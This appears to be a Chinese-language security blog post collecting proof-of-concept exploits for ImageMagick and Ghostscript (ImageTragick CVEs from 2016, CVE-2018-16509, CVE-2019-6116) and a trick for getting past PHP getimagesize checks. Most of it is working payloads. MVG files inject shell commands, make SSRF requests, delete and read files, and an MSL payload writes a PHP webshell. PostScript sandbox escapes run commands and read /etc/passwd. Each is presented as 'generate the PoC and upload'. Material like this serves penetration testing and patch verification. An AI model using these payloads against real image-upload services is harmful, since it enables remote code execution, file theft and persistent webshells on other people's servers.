路漫漫其修远兮,吾将上下而求索

0%

ImageMagick

ImageMagick

  • Bypass code

    1
    <?php
    2
    $filename = $_FILES['image']['tmp_name'];
    3
    $size = getimagesize($filename);
    4
    if ($size && $size[0] > 100 && $size[1] > 100) {
    5
        $img = new Imagick($_FILES['image']['tmp_name']);
    6
        $img->cropThumbnailImage(100, 100);
    7
        $img->writeImage('newimage.gif');
    8
    }
  • ImageMagick漏洞

    • ImageMagick 6.9.3-9

    • CVE-2016-3714

      与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

      ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。

      调用的漏洞委托:

      <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

      漏洞poc

      1
      push graphic-context
      2
      viewbox 0 0 640 480
      3
      fill 'url(https://"|id;")'
      4
      pop graphic-context
    • CVE-2016-3718

      利用mvg格式中可以包含url的特点,进行SSRF攻击

      1
      push graphic-context
      2
      viewbox 0 0 640 480
      3
      fill 'url(http://example.com/)'
      4
      pop graphic-context
    • CVE-2016-3715

      利用ImageMagick支持的ephemeral协议,来删除任意文件:

      1
      push graphic-context
      2
      viewbox 0 0 640 480
      3
      image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
      4
      popgraphic-context
    • CVE-2016-3716

      ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell

      特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:

      1
      file_move.mvg
      2
      -=-=-=-=-=-=-=-=-
      3
      push graphic-context
      4
      viewbox 0 0 640 480
      5
      image over 0,0 0,0 'msl:/tmp/msl.txt'
      6
      popgraphic-context
      7
      8
      /tmp/msl.txt
      9
      -=-=-=-=-=-=-=-=-
      10
      <?xml version="1.0" encoding="UTF-8"?>
      11
      <image>
      12
      <read filename="/tmp/image.gif" />
      13
      <write filename="/var/www/shell.php" />
      14
      </image>
    • CVE-2016-3717

      造成本地文件读取漏洞:

      1
      push graphic-context
      2
      viewbox 0 0 640 480
      3
      image over 0,0 0,0 'label:@/etc/hosts'
      4
      pop graphic-context
    • Pocs

      Pocs

  • 深入分析

    • 漏洞代码

      1
      <?php
      2
        new Imagick('vul.gif');

      无返回值,需从日志读取

    • ImageMagick内存泄漏漏洞(CVE-2018-16323)

    • 攻击思路

      1. 生成PoC(ps文件);

      2. 上传即可

    • poc

      1
      poc.png
      2
      ______________________________________________________________________________________________
      3
      %!PS
      4
      userdict /setpagedevice undef
      5
      save
      6
      legal
      7
      { null restore } stopped { pop } if
      8
      { legal } stopped { pop } if
      9
      restore
      10
      mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
    • GhostScript沙箱绕过(命令执行)漏洞(CVE-2019-6116)

  • 攻击思路

    1. 生成poc
    2. 上传即可
  • poc

    1
    poc.png
    2
    ______________________________________________________________________________________________
    3
    %!PS
    4
    % extract .actual_pdfpaintproc operator from pdfdict
    5
    /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
    6
    7
    /exploit {
    8
        (Stage 11: Exploitation...)=
    9
    10
        /forceput exch def
    11
    12
        systemdict /SAFER false forceput
    13
        userparams /LockFilePermissions false forceput
    14
        systemdict /userparams get /PermitFileControl [(*)] forceput
    15
        systemdict /userparams get /PermitFileWriting [(*)] forceput
    16
        systemdict /userparams get /PermitFileReading [(*)] forceput
    17
    18
        % update
    19
        save restore
    20
    21
        % All done.
    22
        stop
    23
    } def
    24
    25
    errordict /typecheck {
    26
        /typecount typecount 1 add def
    27
        (Stage 10: /typecheck #)=only typecount ==
    28
    29
        % The first error will be the .knownget, which we handle and setup the
    30
        % stack. The second error will be the ifelse (missing boolean), and then we
    31
        % dump the operands.
    32
        typecount 1 eq { null } if
    33
        typecount 2 eq { pop 7 get exploit } if
    34
        typecount 3 eq { (unexpected)= quit }  if
    35
    } put
    36
    37
    % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
    38
    % executable arrays onto the operand stack that contain .forceput, but are not
    39
    % marked as executeonly or pseudo-operators.
    40
    %
    41
    % The routine was attempting to pass them to ifelse, but we can cause that to
    42
    % fail because when the routine was declared, it used `bind` but many of the
    43
    % names it uses are not operators and so are just looked up in the dictstack.
    44
    %
    45
    % This means we can push a dict onto the dictstack and control how the routine
    46
    % works.
    47
    <<
    48
        /typecount      0
    49
        /PDFfile        { (Stage 0: PDFfile)= currentfile }
    50
        /q              { (Stage 1: q)= } % no-op
    51
        /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    52
        /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    53
        /gput           { (Stage 5: gput)= }  % no-op
    54
        /resolvestream  { (Stage 6: resolvestream)= } % no-op
    55
        /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    56
        /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    57
        /pdfdict        { (Stage 9: pdfdict)=
    58
            % cause a /typecheck error we handle above
    59
            true
    60
        }
    61
    >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
    62
    63
    (Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
    64
    65
    % Demonstrate reading a file we shouldnt have access to.
    66
    (/etc/passwd) (r) file dup 64 string readline pop == closefile
    67
    68
    (Attempting to execute a shell command...)= flush
    69
    70
    % run command
    71
    (%pipe%id > /tmp/success) (w) file closefile
    72
    73
    (All done.)=
    74
    75
    quit
  • 绕过getimagesize,执行new ImageMagick()漏洞

    • mvg格式的POC :

      1
      push graphic-context
      2
      viewbox 0 0 640 480
      3
      fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
      4
      pop graphic-context
      5
      #define xlogo_width 200
      6
      #define xlogo_height 200
      • xbm图片是一个文本格式的文件,而不像其他图片一样是二进制文件。如果某一行格式满足

        #define %s %d,那么取出其中的字符串和数字,再从字符串中取出widthheight,将数字作为图片的长和宽。

      • 后面两句,使其正常判断mvg格式文件的大小

    • ps文件poc

      • 借助CVE-2018-16509的POC

        1
        poc.png
        2
        __________________________________________________________________________________________
        3
        %!PS
        4
        userdict /setpagedevice undef
        5
        save
        6
        legal
        7
        { null restore } stopped { pop } if
        8
        { legal } stopped { pop } if
        9
        restore
        10
        mark /OutputFile (%pipe%id) currentdevice putdeviceprops
        11
        12
        /test {
        13
        #define xlogo64_width 64
        14
        #define xlogo64_height 64
        15
        }